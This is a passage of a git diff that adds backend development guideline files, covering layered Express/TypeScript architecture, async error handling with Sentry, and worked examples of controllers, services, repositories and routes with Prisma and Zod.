Data access +├── routes/ # Route definitions +├── middleware/ # Express middleware +├── types/ # TypeScript types +├── validators/ # Zod schemas +├── utils/ # Utilities +├── tests/ # Tests +├── instrument.ts # Sentry (FIRST IMPORT) +├── app.ts # Express setup +└── server.ts # HTTP server +``` + +**Naming Conventions:** +- Controllers: `PascalCase` - `UserController.ts` +- Services: `camelCase` - `userService.ts` +- Routes: `camelCase + Routes` - `userRoutes.ts` +- Repositories: `PascalCase + Repository` - `UserRepository.ts` + +--- + +## Core Principles (7 Key Rules) + +### 1. Routes Only Route, Controllers Control + +```typescript +// ❌ NEVER: Business logic in routes +router.post('/submit', async (req, res) => { + // 200 lines of logic +}); + +// ✅ ALWAYS: Delegate to controller +router.post('/submit', (req, res) => controller.submit(req, res)); +``` + +### 2. All Controllers Extend BaseController + +```typescript +export class UserController extends BaseController { + async getUser(req: Request, res: Response): Promise { + try { + const user = await this.userService.findById(req.params.id); + this.handleSuccess(res, user); + } catch (error) { + this.handleError(error, res, 'getUser'); + } + } +} +``` + +### 3. All Errors to Sentry + +```typescript +try { + await operation(); +} catch (error) { + Sentry.captureException(error); + throw error; +} +``` + +### 4. Use unifiedConfig, NEVER process.env + +```typescript +// ❌ NEVER +const timeout = process.env.TIMEOUT_MS; + +// ✅ ALWAYS +import { config } from './config/unifiedConfig'; +const timeout = config.timeouts.default; +``` + +### 5. Validate All Input with Zod + +```typescript +const schema = z.object({ email: z.string().email() }); +const validated = schema.parse(req.body); +``` + +### 6. Use Repository Pattern for Data Access + +```typescript +// Service → Repository → Database +const users = await userRepository.findActive(); +``` + +### 7. Comprehensive Testing Required + +```typescript +describe('UserService', () => { + it('should create user', async () => { + expect(user).toBeDefined(); + }); +}); +``` + +--- + +## Common Imports + +```typescript +// Express +import express, { Request, Response, NextFunction, Router } from 'express'; + +// Validation +import { z } from 'zod'; + +// Database +import { PrismaClient } from '@prisma/client'; +import type { Prisma } from '@prisma/client'; + +// Sentry +import * as Sentry from '@sentry/node'; + +// Config +import { config } from './config/unifiedConfig'; + +// Middleware +import { SSOMiddlewareClient } from './middleware/SSOMiddleware'; +import { asyncErrorWrapper } from './middleware/errorBoundary'; +``` + +--- + +## Quick Reference + +### HTTP Status Codes + +| Code | Use Case | +|------|----------| +| 200 | Success | +| 201 | Created | +| 400 | Bad Request | +| 401 | Unauthorized | +| 403 | Forbidden | +| 404 | Not Found | +| 500 | Server Error | + +### Service Templates + +**Blog API** (✅ Mature) - Use as template for REST APIs +**Auth Service** (✅ Mature) - Use as template for authentication patterns + +--- + +## Anti-Patterns to Avoid + +❌ Business logic in routes +❌ Direct process.env usage +❌ Missing error handling +❌ No input validation +❌ Direct Prisma everywhere +❌ console.log instead of Sentry + +--- + +## Navigation Guide + +| Need to... | Read this | +|------------|-----------| +| Understand architecture | [architecture-overview.md](architecture-overview.md) | +| Create routes/controllers | [routing-and-controllers.md](routing-and-controllers.md) | +| Organize business logic | [services-and-repositories.md](services-and-repositories.md) | +| Validate input | [validation-patterns.md](validation-patterns.md) | +| Add error tracking | [sentry-and-monitoring.md](sentry-and-monitoring.md) | +| Create middleware | [middleware-guide.md](middleware-guide.md) | +| Database access | [database-patterns.md](database-patterns.md) | +| Manage config | [configuration.md](configuration.md) | +| Handle async/errors | [async-and-errors.md](async-and-errors.md) | +| Write tests | [testing-guide.md](testing-guide.md) | +| See examples | [complete-examples.md](complete-examples.md) | + +--- + +## Resource Files + +### [architecture-overview.md](architecture-overview.md) +Layered architecture, request lifecycle, separation of concerns + +### [routing-and-controllers.md](routing-and-controllers.md) +Route definitions, BaseController, error handling, examples + +### [services-and-repositories.md](services-and-repositories.md) +Service patterns, DI, repository pattern, caching + +### [validation-patterns.md](validation-patterns.md) +Zod schemas, validation, DTO pattern + +### [sentry-and-monitoring.md](sentry-and-monitoring.md) +Sentry init, error capture, performance monitoring + +### [middleware-guide.md](middleware-guide.md) +Auth, audit, error boundaries, AsyncLocalStorage + +### [database-patterns.md](database-patterns.md) +PrismaService, repositories, transactions, optimization + +### [configuration.md](configuration.md) +UnifiedConfig, environment configs, secrets + +### [async-and-errors.md](async-and-errors.md) +Async patterns, custom errors, asyncErrorWrapper + +### [testing-guide.md](testing-guide.md) +Unit/integration tests, mocking, coverage + +### [complete-examples.md](complete-examples.md) +Full examples, refactoring guide + +--- + +## Related Skills + +- **database-verification** - Verify column names and schema consistency +- **error-tracking** - Sentry integration patterns +- **skill-developer** - Meta-skill for creating and managing skills + +--- + +**Skill Status**: COMPLETE ✅ +**Line Count**: < 500 ✅ +**Progressive Disclosure**: 11 resource files ✅ diff --git a/skills/backend-dev-guidelines/resources/architecture-overview.md b/skills/backend-dev-guidelines/resources/architecture-overview.md new file mode 100644 index 00000000..9828570b --- /dev/null +++ b/skills/backend-dev-guidelines/resources/architecture-overview.md @@ -0,0 +1,451 @@ +# Architecture Overview - Backend Services + +Complete guide to the layered architecture pattern used in backend microservices. + +## Table of Contents + +- [Layered Architecture Pattern](#layered-architecture-pattern) +- [Request Lifecycle](#request-lifecycle) +- [Service Comparison](#service-comparison) +- [Directory Structure Rationale](#directory-structure-rationale) +- [Module Organization](#module-organization) +- [Separation of Concerns](#separation-of-concerns) + +--- + +## Layered Architecture Pattern + +### The Four Layers + +``` +┌─────────────────────────────────────┐ +│ HTTP Request │ +└───────────────┬─────────────────────┘ + ↓ +┌─────────────────────────────────────┐ +│ Layer 1: ROUTES │ +│ - Route definitions only │ +│ - Middleware registration │ +│ - Delegate to controllers │ +│ - NO business logic │ +└───────────────┬─────────────────────┘ + ↓ +┌─────────────────────────────────────┐ +│ Layer 2: CONTROLLERS │ +│ - Request/response handling │ +│ - Input validation │ +│ - Call services │ +│ - Format responses │ +│ - Error handling │ +└───────────────┬─────────────────────┘ + ↓ +┌─────────────────────────────────────┐ +│ Layer 3: SERVICES │ +│ - Business logic │ +│ - Orchestration │ +│ - Call repositories │ +│ - No HTTP knowledge │ +└───────────────┬─────────────────────┘ + ↓ +┌─────────────────────────────────────┐ +│ Layer 4: REPOSITORIES │ +│ - Data access abstraction │ +│ - Prisma operations │ +│ - Query optimization │ +│ - Caching │ +└───────────────┬─────────────────────┘ + ↓ +┌─────────────────────────────────────┐ +│ Database (MySQL) │ +└─────────────────────────────────────┘ +``` + +### Why This Architecture? + +**Testability:** +- Each layer can be tested independently +- Easy to mock dependencies +- Clear test boundaries + +**Maintainability:** +- Changes isolated to specific layers +- Business logic separate from HTTP concerns +- Easy to locate bugs + +**Reusability:** +- Services can be used by routes, cron jobs, scripts +- Repositories hide database implementation +- Business logic not tied to HTTP + +**Scalability:** +- Easy to add new endpoints +- Clear patterns to follow +- Consistent structure + +--- + +## Request Lifecycle + +### Complete Flow Example + +```typescript +1. HTTP POST /api/users + ↓ +2. Express matches route in userRoutes.ts + ↓ +3. Middleware chain executes: + - SSOMiddleware.verifyLoginStatus (authentication) + - auditMiddleware (context tracking) + ↓ +4. Route handler delegates to controller: + router.post('/users', (req, res) => userController.create(req, res)) + ↓ +5. Controller validates and calls service: + - Validate input with Zod + - Call userService.create(data) + - Handle success/error + ↓ +6. Service executes business logic: + - Check business rules + - Call userRepository.create(data) + - Return result + ↓ +7. Repository performs database operation: + - PrismaService.main.user.create({ data }) + - Handle database errors + - Return created user + ↓ +8. Response flows back: + Repository → Service → Controller → Express → Client +``` + +### Middleware Execution Order + +**Critical:** Middleware executes in registration order + +```typescript +app.use(Sentry.Handlers.requestHandler()); // 1. Sentry tracing (FIRST) +app.use(express.json()); // 2. Body parsing +app.use(express.urlencoded({ extended: true })); // 3. URL encoding +app.use(cookieParser()); // 4. Cookie parsing +app.use(SSOMiddleware.initialize()); // 5. Auth initialization +// ... routes registered here +app.use(auditMiddleware); // 6. Audit (if global) +app.use(errorBoundary); // 7. Error handler (LAST) +app.use(Sentry.Handlers.errorHandler()); // 8. Sentry errors (LAST) +``` + +**Rule:** Error handlers must be registered AFTER routes! + +--- + +## Service Comparison + +### Email Service (Mature Pattern ✅) + +**Strengths:** +- Comprehensive BaseController with Sentry integration +- Clean route delegation (no business logic in routes) +- Consistent dependency injection pattern +- Good middleware organization +- Type-safe throughout +- Excellent error handling + +**Example Structure:** +``` +email/src/ +├── controllers/ +│ ├── BaseController.ts ✅ Excellent template +│ ├── NotificationController.ts ✅ Extends BaseController +│ └── EmailController.ts ✅ Clean patterns +├── routes/ +│ ├── notificationRoutes.ts ✅ Clean delegation +│ └── emailRoutes.ts ✅ No business logic +├── services/ +│ ├── NotificationService.ts ✅ Dependency injection +│ └── BatchingService.ts ✅ Clear responsibility +└── middleware/ + ├── errorBoundary.ts ✅ Comprehensive + └── DevImpersonationSSOMiddleware.ts +``` + +**Use as template** for new services! + +### Form Service (Transitioning ⚠️) + +**Strengths:** +- Excellent workflow architecture (event sourcing) +- Good Sentry integration +- Innovative audit middleware (AsyncLocalStorage) +- Comprehensive permission system + +**Weaknesses:** +- Some routes have 200+ lines of business logic +- Inconsistent controller naming +- Direct process.env usage (60+ occurrences) +- Minimal repository pattern usage + +**Example:** +``` +form/src/ +├── routes/ +│ ├── responseRoutes.ts ❌ Business logic in routes +│ └── proxyRoutes.ts ✅ Good validation pattern +├── controllers/ +│ ├── formController.ts ⚠️ Lowercase naming +│ └── UserProfileController.ts ✅ PascalCase naming +├── workflow/ ✅ Excellent architecture! +│ ├── core/ +│ │ ├── WorkflowEngineV3.ts ✅ Event sourcing +│ │ └── DryRunWrapper.ts ✅ Innovative +│ └── services/ +└── middleware/ + └── auditMiddleware.ts ✅ AsyncLocalStorage pattern +``` + +**Learn from:** workflow/, middleware/auditMiddleware.ts +**Avoid:** responseRoutes.ts, direct process.env + +--- + +## Directory Structure Rationale + +### Controllers Directory + +**Purpose:** Handle HTTP request/response concerns + +**Contents:** +- `BaseController.ts` - Base class with common methods +- `{Feature}Controller.ts` - Feature-specific controllers + +**Naming:** PascalCase + Controller + +**Responsibilities:** +- Parse request parameters +- Validate input (Zod) +- Call appropriate service methods +- Format responses +- Handle errors (via BaseController) +- Set HTTP status codes + +### Services Directory + +**Purpose:** Business logic and orchestration + +**Contents:** +- `{feature}Service.ts` - Feature business logic + +**Naming:** camelCase + Service (or PascalCase + Service) + +**Responsibilities:** +- Implement business rules +- Orchestrate multiple repositories +- Transaction management +- Business validations +- No HTTP knowledge (Request/Response types) + +### Repositories Directory + +**Purpose:** Data access abstraction + +**Contents:** +- `{Entity}Repository.ts` - Database operations for entity + +**Naming:** PascalCase + Repository + +**Responsibilities:** +- Prisma query operations +- Query optimization +- Database error handling +- Caching layer +- Hide Prisma implementation details + +**Current Gap:** Only 1 repository exists (WorkflowRepository) + +### Routes Directory + +**Purpose:** Route registration ONLY + +**Contents:** +- `{feature}Routes.ts` - Express router for feature + +**Naming:** camelCase + Routes + +**Responsibilities:** +- Register routes with Express +- Apply middleware +- Delegate to controllers +- **NO business logic!** + +### Middleware Directory + +**Purpose:** Cross-cutting concerns + +**Contents:** +- Authentication middleware +- Audit middleware +- Error boundaries +- Validation middleware +- Custom middleware + +**Naming:** camelCase + +**Types:** +- Request processing (before handler) +- Response processing (after handler) +- Error handling (error boundary) + +### Config Directory + +**Purpose:** Configuration management + +**Contents:** +- `unifiedConfig.ts` - Type-safe configuration +- Environment-specific configs + +**Pattern:** Single source of truth + +### Types Directory + +**Purpose:** TypeScript type definitions + +**Contents:** +- `{feature}.types.ts` - Feature-specific types +- DTOs (Data Transfer Objects) +- Request/Response types +- Domain models + +--- + +## Module Organization + +### Feature-Based Organization + +For large features, use subdirectories: + +``` +src/workflow/ +├── core/ # Core engine +├── services/ # Workflow-specific services +├── actions/ # System actions +├── models/ # Domain models +├── validators/ # Workflow validation +└── utils/ # Workflow utilities +``` + +**When to use:** +- Feature has 5+ files +- Clear sub-domains exist +- Logical grouping improves clarity + +### Flat Organization + +For simple features: + +``` +src/ +├── controllers/UserController.ts +├── services/userService.ts +├── routes/userRoutes.ts +└── repositories/UserRepository.ts +``` + +**When to use:** +- Simple features (< 5 files) +- No clear sub-domains +- Flat structure is clearer + +--- + +## Separation of Concerns + +### What Goes Where + +**Routes Layer:** +- ✅ Route definitions +- ✅ Middleware registration +- ✅ Controller delegation +- ❌ Business logic +- ❌ Database operations +- ❌ Validation logic (should be in validator or controller) + +**Controllers Layer:** +- ✅ Request parsing (params, body, query) +- ✅ Input validation (Zod) +- ✅ Service calls +- ✅ Response formatting +- ✅ Error handling +- ❌ Business logic +- ❌ Database operations + +**Services Layer:** +- ✅ Business logic +- ✅ Business rules enforcement +- ✅ Orchestration (multiple repos) +- ✅ Transaction management +- ❌ HTTP concerns (Request/Response) +- ❌ Direct Prisma calls (use repositories) + +**Repositories Layer:** +- ✅ Prisma operations +- ✅ Query construction +- ✅ Database error handling +- ✅ Caching +- ❌ Business logic +- ❌ HTTP concerns + +### Example: User Creation + +**Route:** +```typescript +router.post('/users', + SSOMiddleware.verifyLoginStatus, + auditMiddleware, + (req, res) => userController.create(req, res) +); +``` + +**Controller:** +```typescript +async create(req: Request, res: Response): Promise { + try { + const validated = createUserSchema.parse(req.body); + const user = await this.userService.create(validated); + this.handleSuccess(res, user, 'User created'); + } catch (error) { + this.handleError(error, res, 'create'); + } +} +``` + +**Service:** +```typescript +async create(data: CreateUserDTO): Promise { + // Business rule: check if email already exists + const existing = await this.userRepository.findByEmail(data.email); + if (existing) throw new ConflictError('Email already exists'); + + // Create user + return await this.userRepository.create(data); +} +``` + +**Repository:** +```typescript +async create(data: CreateUserDTO): Promise { + return PrismaService.main.user.create({ data }); +} + +async findByEmail(email: string): Promise { + return PrismaService.main.user.findUnique({ where: { email } }); +} +``` + +**Notice:** Each layer has clear, distinct responsibilities! + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main guide +- [routing-and-controllers.md](routing-and-controllers.md) - Routes and controllers details +- [services-and-repositories.md](services-and-repositories.md) - Service and repository patterns diff --git a/skills/backend-dev-guidelines/resources/async-and-errors.md b/skills/backend-dev-guidelines/resources/async-and-errors.md new file mode 100644 index 00000000..37a90499 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/async-and-errors.md @@ -0,0 +1,307 @@ +# Async Patterns and Error Handling + +Complete guide to async/await patterns and custom error handling. + +## Table of Contents + +- [Async/Await Best Practices](#asyncawait-best-practices) +- [Promise Error Handling](#promise-error-handling) +- [Custom Error Types](#custom-error-types) +- [asyncErrorWrapper Utility](#asyncerrorwrapper-utility) +- [Error Propagation](#error-propagation) +- [Common Async Pitfalls](#common-async-pitfalls) + +--- + +## Async/Await Best Practices + +### Always Use Try-Catch + +```typescript +// ❌ NEVER: Unhandled async errors +async function fetchData() { + const data = await database.query(); // If throws, unhandled! + return data; +} + +// ✅ ALWAYS: Wrap in try-catch +async function fetchData() { + try { + const data = await database.query(); + return data; + } catch (error) { + Sentry.captureException(error); + throw error; + } +} +``` + +### Avoid .then() Chains + +```typescript +// ❌ AVOID: Promise chains +function processData() { + return fetchData() + .then(data => transform(data)) + .then(transformed => save(transformed)) + .catch(error => { + console.error(error); + }); +} + +// ✅ PREFER: Async/await +async function processData() { + try { + const data = await fetchData(); + const transformed = await transform(data); + return await save(transformed); + } catch (error) { + Sentry.captureException(error); + throw error; + } +} +``` + +--- + +## Promise Error Handling + +### Parallel Operations + +```typescript +// ✅ Handle errors in Promise.all +try { + const [users, profiles, settings] = await Promise.all([ + userService.getAll(), + profileService.getAll(), + settingsService.getAll(), + ]); +} catch (error) { + // One failure fails all + Sentry.captureException(error); + throw error; +} + +// ✅ Handle errors individually with Promise.allSettled +const results = await Promise.allSettled([ + userService.getAll(), + profileService.getAll(), + settingsService.getAll(), +]); + +results.forEach((result, index) => { + if (result.status === 'rejected') { + Sentry.captureException(result.reason, { + tags: { operation: ['users', 'profiles', 'settings'][index] } + }); + } +}); +``` + +--- + +## Custom Error Types + +### Define Custom Errors + +```typescript +// Base error class +export class AppError extends Error { + constructor( + message: string, + public code: string, + public statusCode: number, + public isOperational: boolean = true + ) { + super(message); + this.name = this.constructor.name; + Error.captureStackTrace(this, this.constructor); + } +} + +// Specific error types +export class ValidationError extends AppError { + constructor(message: string) { + super(message, 'VALIDATION_ERROR', 400); + } +} + +export class NotFoundError extends AppError { + constructor(message: string) { + super(message, 'NOT_FOUND', 404); + } +} + +export class ForbiddenError extends AppError { + constructor(message: string) { + super(message, 'FORBIDDEN', 403); + } +} + +export class ConflictError extends AppError { + constructor(message: string) { + super(message, 'CONFLICT', 409); + } +} +``` + +### Usage + +```typescript +// Throw specific errors +if (!user) { + throw new NotFoundError('User not found'); +} + +if (user.age < 18) { + throw new ValidationError('User must be 18+'); +} + +// Error boundary handles them +function errorBoundary(error, req, res, next) { + if (error instanceof AppError) { + return res.status(error.statusCode).json({ + error: { + message: error.message, + code: error.code + } + }); + } + + // Unknown error + Sentry.captureException(error); + res.status(500).json({ error: { message: 'Internal server error' } }); +} +``` + +--- + +## asyncErrorWrapper Utility + +### Pattern + +```typescript +export function asyncErrorWrapper( + handler: (req: Request, res: Response, next: NextFunction) => Promise +) { + return async (req: Request, res: Response, next: NextFunction) => { + try { + await handler(req, res, next); + } catch (error) { + next(error); + } + }; +} +``` + +### Usage + +```typescript +// Without wrapper - error can be unhandled +router.get('/users', async (req, res) => { + const users = await userService.getAll(); // If throws, unhandled! + res.json(users); +}); + +// With wrapper - errors caught +router.get('/users', asyncErrorWrapper(async (req, res) => { + const users = await userService.getAll(); + res.json(users); +})); +``` + +--- + +## Error Propagation + +### Proper Error Chains + +```typescript +// ✅ Propagate errors up the stack +async function repositoryMethod() { + try { + return await PrismaService.main.user.findMany(); + } catch (error) { + Sentry.captureException(error, { tags: { layer: 'repository' } }); + throw error; // Propagate to service + } +} + +async function serviceMethod() { + try { + return await repositoryMethod(); + } catch (error) { + Sentry.captureException(error, { tags: { layer: 'service' } }); + throw error; // Propagate to controller + } +} + +async function controllerMethod(req, res) { + try { + const result = await serviceMethod(); + res.json(result); + } catch (error) { + this.handleError(error, res, 'controllerMethod'); // Final handler + } +} +``` + +--- + +## Common Async Pitfalls + +### Fire and Forget (Bad) + +```typescript +// ❌ NEVER: Fire and forget +async function processRequest(req, res) { + sendEmail(user.email); // Fires async, errors unhandled! + res.json({ success: true }); +} + +// ✅ ALWAYS: Await or handle +async function processRequest(req, res) { + try { + await sendEmail(user.email); + res.json({ success: true }); + } catch (error) { + Sentry.captureException(error); + res.status(500).json({ error: 'Failed to send email' }); + } +} + +// ✅ OR: Intentional background task +async function processRequest(req, res) { + sendEmail(user.email).catch(error => { + Sentry.captureException(error); + }); + res.json({ success: true }); +} +``` + +### Unhandled Rejections + +```typescript +// ✅ Global handler for unhandled rejections +process.on('unhandledRejection', (reason, promise) => { + Sentry.captureException(reason, { + tags: { type: 'unhandled_rejection' } + }); + console.error('Unhandled Rejection:', reason); +}); + +process.on('uncaughtException', (error) => { + Sentry.captureException(error, { + tags: { type: 'uncaught_exception' } + }); + console.error('Uncaught Exception:', error); + process.exit(1); +}); +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [sentry-and-monitoring.md](sentry-and-monitoring.md) +- [complete-examples.md](complete-examples.md) diff --git a/skills/backend-dev-guidelines/resources/complete-examples.md b/skills/backend-dev-guidelines/resources/complete-examples.md new file mode 100644 index 00000000..51af140e --- /dev/null +++ b/skills/backend-dev-guidelines/resources/complete-examples.md @@ -0,0 +1,638 @@ +# Complete Examples - Full Working Code + +Real-world examples showing complete implementation patterns. + +## Table of Contents + +- [Complete Controller Example](#complete-controller-example) +- [Complete Service with DI](#complete-service-with-di) +- [Complete Route File](#complete-route-file) +- [Complete Repository](#complete-repository) +- [Refactoring Example: Bad to Good](#refactoring-example-bad-to-good) +- [End-to-End Feature Example](#end-to-end-feature-example) + +--- + +## Complete Controller Example + +### UserController (Following All Best Practices) + +```typescript +// controllers/UserController.ts +import { Request, Response } from 'express'; +import { BaseController } from './BaseController'; +import { UserService } from '../services/userService'; +import { createUserSchema, updateUserSchema } from '../validators/userSchemas'; +import { z } from 'zod'; + +export class UserController extends BaseController { + private userService: UserService; + + constructor() { + super(); + this.userService = new UserService(); + } + + async getUser(req: Request, res: Response): Promise { + try { + this.addBreadcrumb('Fetching user', 'user_controller', { + userId: req.params.id, + }); + + const user = await this.withTransaction( + 'user.get', + 'db.query', + () => this.userService.findById(req.params.id) + ); + + if (!user) { + return this.handleError( + new Error('User not found'), + res, + 'getUser', + 404 + ); + } + + this.handleSuccess(res, user); + } catch (error) { + this.handleError(error, res, 'getUser'); + } + } + + async listUsers(req: Request, res: Response): Promise { + try { + const users = await this.userService.getAll(); + this.handleSuccess(res, users); + } catch (error) { + this.handleError(error, res, 'listUsers'); + } + } + + async createUser(req: Request, res: Response): Promise { + try { + // Validate input with Zod + const validated = createUserSchema.parse(req.body); + + // Track performance + const user = await this.withTransaction( + 'user.create', + 'db.mutation', + () => this.userService.create(validated) + ); + + this.handleSuccess(res, user, 'User created successfully', 201); + } catch (error) { + if (error instanceof z.ZodError) { + return this.handleError(error, res, 'createUser', 400); + } + this.handleError(error, res, 'createUser'); + } + } + + async updateUser(req: Request, res: Response): Promise { + try { + const validated = updateUserSchema.parse(req.body); + + const user = await this.userService.update( + req.params.id, + validated + ); + + this.handleSuccess(res, user, 'User updated'); + } catch (error) { + if (error instanceof z.ZodError) { + return this.handleError(error, res, 'updateUser', 400); + } + this.handleError(error, res, 'updateUser'); + } + } + + async deleteUser(req: Request, res: Response): Promise { + try { + await this.userService.delete(req.params.id); + this.handleSuccess(res, null, 'User deleted', 204); + } catch (error) { + this.handleError(error, res, 'deleteUser'); + } + } +} +``` + +--- + +## Complete Service with DI + +### UserService + +```typescript +// services/userService.ts +import { UserRepository } from '../repositories/UserRepository'; +import { ConflictError, NotFoundError, ValidationError } from '../types/errors'; +import type { CreateUserDTO, UpdateUserDTO, User } from '../types/user.types'; + +export class UserService { + private userRepository: UserRepository; + + constructor(userRepository?: UserRepository) { + this.userRepository = userRepository || new UserRepository(); + } + + async findById(id: string): Promise { + return await this.userRepository.findById(id); + } + + async getAll(): Promise { + return await this.userRepository.findActive(); + } + + async create(data: CreateUserDTO): Promise { + // Business rule: validate age + if (data.age < 18) { + throw new ValidationError('User must be 18 or older'); + } + + // Business rule: check email uniqueness + const existing = await this.userRepository.findByEmail(data.email); + if (existing) { + throw new ConflictError('Email already in use'); + } + + // Create user with profile + return await this.userRepository.create({ + email: data.email, + profile: { + create: { + firstName: data.firstName, + lastName: data.lastName, + age: data.age, + }, + }, + }); + } + + async update(id: string, data: UpdateUserDTO): Promise { + // Check exists + const existing = await this.userRepository.findById(id); + if (!existing) { + throw new NotFoundError('User not found'); + } + + // Business rule: email uniqueness if changing + if (data.email && data.email !== existing.email) { + const emailTaken = await this.userRepository.findByEmail(data.email); + if (emailTaken) { + throw new ConflictError('Email already in use'); + } + } + + return await this.userRepository.update(id, data); + } + + async delete(id: string): Promise { + const existing = await this.userRepository.findById(id); + if (!existing) { + throw new NotFoundError('User not found'); + } + + await this.userRepository.delete(id); + } +} +``` + +--- + +## Complete Route File + +### userRoutes.ts + +```typescript +// routes/userRoutes.ts +import { Router } from 'express'; +import { UserController } from '../controllers/UserController'; +import { SSOMiddlewareClient } from '../middleware/SSOMiddleware'; +import { auditMiddleware } from '../middleware/auditMiddleware'; + +const router = Router(); +const controller = new UserController(); + +// GET /users - List all users +router.get('/', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.listUsers(req, res) +); + +// GET /users/:id - Get single user +router.get('/:id', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.getUser(req, res) +); + +// POST /users - Create user +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.createUser(req, res) +); + +// PUT /users/:id - Update user +router.put('/:id', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.updateUser(req, res) +); + +// DELETE /users/:id - Delete user +router.delete('/:id', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.deleteUser(req, res) +); + +export default router; +``` + +--- + +## Complete Repository + +### UserRepository + +```typescript +// repositories/UserRepository.ts +import { PrismaService } from '@project-lifecycle-portal/database'; +import type { User, Prisma } from '@prisma/client'; + +export class UserRepository { + async findById(id: string): Promise { + return PrismaService.main.user.findUnique({ + where: { id }, + include: { profile: true }, + }); + } + + async findByEmail(email: string): Promise { + return PrismaService.main.user.findUnique({ + where: { email }, + include: { profile: true }, + }); + } + + async findActive(): Promise { + return PrismaService.main.user.findMany({ + where: { isActive: true }, + include: { profile: true }, + orderBy: { createdAt: 'desc' }, + }); + } + + async create(data: Prisma.UserCreateInput): Promise { + return PrismaService.main.user.create({ + data, + include: { profile: true }, + }); + } + + async update(id: string, data: Prisma.UserUpdateInput): Promise { + return PrismaService.main.user.update({ + where: { id }, + data, + include: { profile: true }, + }); + } + + async delete(id: string): Promise { + // Soft delete + return PrismaService.main.user.update({ + where: { id }, + data: { + isActive: false, + deletedAt: new Date(), + }, + }); + } +} +``` + +--- + +## Refactoring Example: Bad to Good + +### BEFORE: Business Logic in Routes ❌ + +```typescript +// routes/postRoutes.ts (BAD - 200+ lines) +router.post('/posts', async (req, res) => { + try { + const username = res.locals.claims.preferred_username; + const responses = req.body.responses; + const stepInstanceId = req.body.stepInstanceId; + + // ❌ Permission check in route + const userId = await userProfileService.getProfileByEmail(username).then(p => p.id); + const canComplete = await permissionService.canCompleteStep(userId, stepInstanceId); + if (!canComplete) { + return res.status(403).json({ error: 'No permission' }); + } + + // ❌ Business logic in route + const post = await postRepository.create({ + title: req.body.title, + content: req.body.content, + authorId: userId + }); + + // ❌ More business logic... + if (res.locals.isImpersonating) { + impersonationContextStore.storeContext(...); + } + + // ... 100+ more lines + + res.json({ success: true, data: result }); + } catch (e) { + handler.handleException(res, e); + } +}); +``` + +### AFTER: Clean Separation ✅ + +**1. Clean Route:** +```typescript +// routes/postRoutes.ts +import { PostController } from '../controllers/PostController'; + +const router = Router(); +const controller = new PostController(); + +// ✅ CLEAN: 8 lines total! +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.createPost(req, res) +); + +export default router; +``` + +**2. Controller:** +```typescript +// controllers/PostController.ts +export class PostController extends BaseController { + private postService: PostService; + + constructor() { + super(); + this.postService = new PostService(); + } + + async createPost(req: Request, res: Response): Promise { + try { + const validated = createPostSchema.parse({ + ...req.body, + }); + + const result = await this.postService.createPost( + validated, + res.locals.userId + ); + + this.handleSuccess(res, result, 'Post created successfully'); + } catch (error) { + this.handleError(error, res, 'createPost'); + } + } +} +``` + +**3. Service:** +```typescript +// services/postService.ts +export class PostService { + async createPost( + data: CreatePostDTO, + userId: string + ): Promise { + // Permission check + const canComplete = await permissionService.canCompleteStep( + userId, + data.stepInstanceId + ); + + if (!canComplete) { + throw new ForbiddenError('No permission to complete step'); + } + + // Execute workflow + const engine = await createWorkflowEngine(); + const command = new CompleteStepCommand( + data.stepInstanceId, + userId, + data.responses + ); + const events = await engine.executeCommand(command); + + // Handle impersonation + if (context.isImpersonating) { + await this.handleImpersonation(data.stepInstanceId, context); + } + + return { events, success: true }; + } + + private async handleImpersonation(stepInstanceId: number, context: any) { + impersonationContextStore.storeContext(stepInstanceId, { + originalUserId: context.originalUserId, + effectiveUserId: context.effectiveUserId, + }); + } +} +``` + +**Result:** +- Route: 8 lines (was 200+) +- Controller: 25 lines +- Service: 40 lines +- **Testable, maintainable, reusable!** + +--- + +## End-to-End Feature Example + +### Complete User Management Feature + +**1. Types:** +```typescript +// types/user.types.ts +export interface User { + id: string; + email: string; + isActive: boolean; + profile?: UserProfile; +} + +export interface CreateUserDTO { + email: string; + firstName: string; + lastName: string; + age: number; +} + +export interface UpdateUserDTO { + email?: string; + firstName?: string; + lastName?: string; +} +``` + +**2. Validators:** +```typescript +// validators/userSchemas.ts +import { z } from 'zod'; + +export const createUserSchema = z.object({ + email: z.string().email(), + firstName: z.string().min(1).max(100), + lastName: z.string().min(1).max(100), + age: z.number().int().min(18).max(120), +}); + +export const updateUserSchema = z.object({ + email: z.string().email().optional(), + firstName: z.string().min(1).max(100).optional(), + lastName: z.string().min(1).max(100).optional(), +}); +``` + +**3. Repository:** +```typescript +// repositories/UserRepository.ts +export class UserRepository { + async findById(id: string): Promise { + return PrismaService.main.user.findUnique({ + where: { id }, + include: { profile: true }, + }); + } + + async create(data: Prisma.UserCreateInput): Promise { + return PrismaService.main.user.create({ + data, + include: { profile: true }, + }); + } +} +``` + +**4. Service:** +```typescript +// services/userService.ts +export class UserService { + private userRepository: UserRepository; + + constructor() { + this.userRepository = new UserRepository(); + } + + async create(data: CreateUserDTO): Promise { + const existing = await this.userRepository.findByEmail(data.email); + if (existing) { + throw new ConflictError('Email already exists'); + } + + return await this.userRepository.create({ + email: data.email, + profile: { + create: { + firstName: data.firstName, + lastName: data.lastName, + age: data.age, + }, + }, + }); + } +} +``` + +**5. Controller:** +```typescript +// controllers/UserController.ts +export class UserController extends BaseController { + private userService: UserService; + + constructor() { + super(); + this.userService = new UserService(); + } + + async createUser(req: Request, res: Response): Promise { + try { + const validated = createUserSchema.parse(req.body); + const user = await this.userService.create(validated); + this.handleSuccess(res, user, 'User created', 201); + } catch (error) { + this.handleError(error, res, 'createUser'); + } + } +} +``` + +**6. Routes:** +```typescript +// routes/userRoutes.ts +const router = Router(); +const controller = new UserController(); + +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => controller.createUser(req, res) +); + +export default router; +``` + +**7. Register in app.ts:** +```typescript +// app.ts +import userRoutes from './routes/userRoutes'; + +app.use('/api/users', userRoutes); +``` + +**Complete Request Flow:** +``` +POST /api/users + ↓ 